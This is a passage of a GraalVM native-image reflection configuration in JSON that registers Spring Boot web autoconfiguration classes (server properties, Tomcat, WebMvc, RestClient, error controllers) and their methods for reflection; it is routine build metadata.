\"name\":\"org.springframework.boot.autoconfigure.web.ServerProperties$Jetty\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ServerProperties$Jetty$Accesslog\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ServerProperties$Jetty$Accesslog$FORMAT\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ServerProperties$Jetty$Threads\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ServerProperties$Netty\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ServerProperties$Reactive\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ServerProperties$Reactive$Session\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ServerProperties$Servlet\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"setContextPath\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ServerProperties$Tomcat\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getAccesslog\",\"parameterTypes\":[] }, {\"name\":\"setBasedir\",\"parameterTypes\":[\"java.io.File\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ServerProperties$Tomcat$Accesslog\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"setEnabled\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setMaxDays\",\"parameterTypes\":[\"int\"] }, {\"name\":\"setPattern\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ServerProperties$Tomcat$Mbeanregistry\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ServerProperties$Tomcat$Remoteip\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ServerProperties$Tomcat$Resource\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ServerProperties$Tomcat$Threads\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ServerProperties$Undertow\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ServerProperties$Undertow$Accesslog\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ServerProperties$Undertow$Options\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ServerProperties$Undertow$Threads\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.WebProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.WebProperties$LocaleResolver\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.WebProperties$Resources\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.WebProperties$Resources$Cache\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.WebProperties$Resources$Cache$Cachecontrol\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.WebProperties$Resources$Chain\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.WebProperties$Resources$Chain$Strategy\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.WebProperties$Resources$Chain$Strategy$Content\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.WebProperties$Resources$Chain$Strategy$Fixed\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.WebResourcesRuntimeHints\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.client.AutoConfiguredRestClientSsl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"fromBundle\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"fromBundle\",\"parameterTypes\":[\"org.springframework.boot.ssl.SslBundle\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.client.HttpMessageConvertersRestClientCustomizer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"customize\",\"parameterTypes\":[\"org.springframework.web.client.RestClient$Builder\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.client.NotReactiveWebApplicationCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.client.RestClientAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"httpMessageConvertersRestClientCustomizer\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\"] }, {\"name\":\"restClientBuilderConfigurer\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\"] }, {\"name\":\"restClientSsl\",\"parameterTypes\":[\"org.springframework.boot.ssl.SslBundles\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.client.RestClientBuilderConfigurer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.client.RestClientSsl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.client.RestTemplateAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.client.RestTemplateBuilderConfigurer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration$TomcatWebServerFactoryCustomizerConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"tomcatWebServerFactoryCustomizer\",\"parameterTypes\":[\"org.springframework.core.env.Environment\",\"org.springframework.boot.autoconfigure.web.ServerProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.embedded.TomcatVirtualThreadsWebServerFactoryCustomizer\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.embedded.TomcatWebServerFactoryCustomizer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"customize\",\"parameterTypes\":[\"org.springframework.boot.web.server.WebServerFactory\"] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.format.DateTimeFormatters\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.format.WebConversionService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.reactive.function.client.WebClientAutoConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.ConditionalOnMissingFilterBean\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DefaultDispatcherServletCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"dispatcherServlet\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletRegistrationCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletRegistrationConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"dispatcherServletRegistration\",\"parameterTypes\":[\"org.springframework.web.servlet.DispatcherServlet\",\"org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties\",\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.DispatcherServletPath\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getPrefix\",\"parameterTypes\":[] }, {\"name\":\"getRelativePath\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getServletUrlMapping\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.DispatcherServletRegistrationBean\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"addUrlMappings\",\"parameterTypes\":[\"java.lang.String[]\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getPath\",\"parameterTypes\":[] }, {\"name\":\"setUrlMappings\",\"parameterTypes\":[\"java.util.Collection\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.web.ServerProperties\"] }, {\"name\":\"characterEncodingFilter\",\"parameterTypes\":[] }, {\"name\":\"localeCharsetMappingsCustomizer\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfiguration$LocaleCharsetMappingsCustomizer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"customize\",\"parameterTypes\":[\"org.springframework.boot.web.server.WebServerFactory\"] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.JspTemplateAvailabilityProvider\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.MultipartAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.web.servlet.MultipartProperties\"] }, {\"name\":\"multipartConfigElement\",\"parameterTypes\":[] }, {\"name\":\"multipartResolver\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.MultipartProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"servletWebServerFactoryCustomizer\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.web.ServerProperties\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\"] }, {\"name\":\"tomcatServletWebServerFactoryCustomizer\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.web.ServerProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryAutoConfiguration$BeanPostProcessorsRegistrar\",\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryConfiguration$EmbeddedJetty\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryConfiguration$EmbeddedTomcat\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"tomcatServletWebServerFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryConfiguration$EmbeddedUndertow\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryCustomizer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"customize\",\"parameterTypes\":[\"org.springframework.boot.web.server.WebServerFactory\"] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.TomcatServletWebServerFactoryCustomizer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"customize\",\"parameterTypes\":[\"org.springframework.boot.web.server.WebServerFactory\"] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"formContentFilter\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$EnableWebMvcConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties\",\"org.springframework.boot.autoconfigure.web.WebProperties\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ListableBeanFactory\"] }, {\"name\":\"flashMapManager\",\"parameterTypes\":[] }, {\"name\":\"localeResolver\",\"parameterTypes\":[] }, {\"name\":\"mvcContentNegotiationManager\",\"parameterTypes\":[] }, {\"name\":\"mvcConversionService\",\"parameterTypes\":[] }, {\"name\":\"mvcValidator\",\"parameterTypes\":[] }, {\"name\":\"setResourceLoader\",\"parameterTypes\":[\"org.springframework.core.io.ResourceLoader\"] }, {\"name\":\"themeResolver\",\"parameterTypes\":[] }, {\"name\":\"welcomePageHandlerMapping\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\",\"org.springframework.format.support.FormattingConversionService\",\"org.springframework.web.servlet.resource.ResourceUrlProvider\"] }, {\"name\":\"welcomePageNotAcceptableHandlerMapping\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\",\"org.springframework.format.support.FormattingConversionService\",\"org.springframework.web.servlet.resource.ResourceUrlProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$WebMvcAutoConfigurationAdapter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.web.WebProperties\",\"org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties\",\"org.springframework.beans.factory.ListableBeanFactory\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\"] }, {\"name\":\"addFormatters\",\"parameterTypes\":[\"org.springframework.format.FormatterRegistry\"] }, {\"name\":\"addResourceHandlers\",\"parameterTypes\":[\"org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry\"] }, {\"name\":\"configureAsyncSupport\",\"parameterTypes\":[\"org.springframework.web.servlet.config.annotation.AsyncSupportConfigurer\"] }, {\"name\":\"configureContentNegotiation\",\"parameterTypes\":[\"org.springframework.web.servlet.config.annotation.ContentNegotiationConfigurer\"] }, {\"name\":\"configureMessageConverters\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"configurePathMatch\",\"parameterTypes\":[\"org.springframework.web.servlet.config.annotation.PathMatchConfigurer\"] }, {\"name\":\"defaultViewResolver\",\"parameterTypes\":[] }, {\"name\":\"getMessageCodesResolver\",\"parameterTypes\":[] }, {\"name\":\"requestContextFilter\",\"parameterTypes\":[] }, {\"name\":\"setServletContext\",\"parameterTypes\":[\"jakarta.servlet.ServletContext\"] }, {\"name\":\"viewResolver\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$WelcomePageHandlerMappingFactory\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties$Async\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties$Contentnegotiation\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties$Format\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties$MatchingStrategy\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties$Pathmatch\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties$Problemdetails\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties$Servlet\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties$View\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.WelcomePage\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.WelcomePageHandlerMapping\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.WelcomePageNotAcceptableHandlerMapping\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.error.AbstractErrorController\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.error.BasicErrorController\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.error.DefaultErrorViewResolver\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"resolveErrorView\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"org.springframework.http.HttpStatus\",\"java.util.Map\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.web.ServerProperties\"] }, {\"name\":\"basicErrorController\",\"parameterTypes\":[\"org.springframework.boot.web.servlet.error.ErrorAttributes\",\"org.springframework.beans.factory.ObjectProvider\"] }, {\"name\":\"errorAttributes\",\"parameterTypes\":[] }, {\"name\":\"errorPageCustomizer\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.web.servlet.DispatcherServletPath\"] }, {\"name\":\"preserveErrorControllerTargetClassPostProcessor\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$DefaultErrorViewResolverConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\",\"org.springframework.boot.autoconfigure.web.WebProperties\"] }, {\"name\":\"conventionErrorViewResolver\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$ErrorPageCustomizer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"registerErrorPages\",\"parameterTypes\":[\"org.springframework.boot.web.server.ErrorPageRegistry\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$ErrorTemplateMissingCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$PreserveErrorControllerTargetClassPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  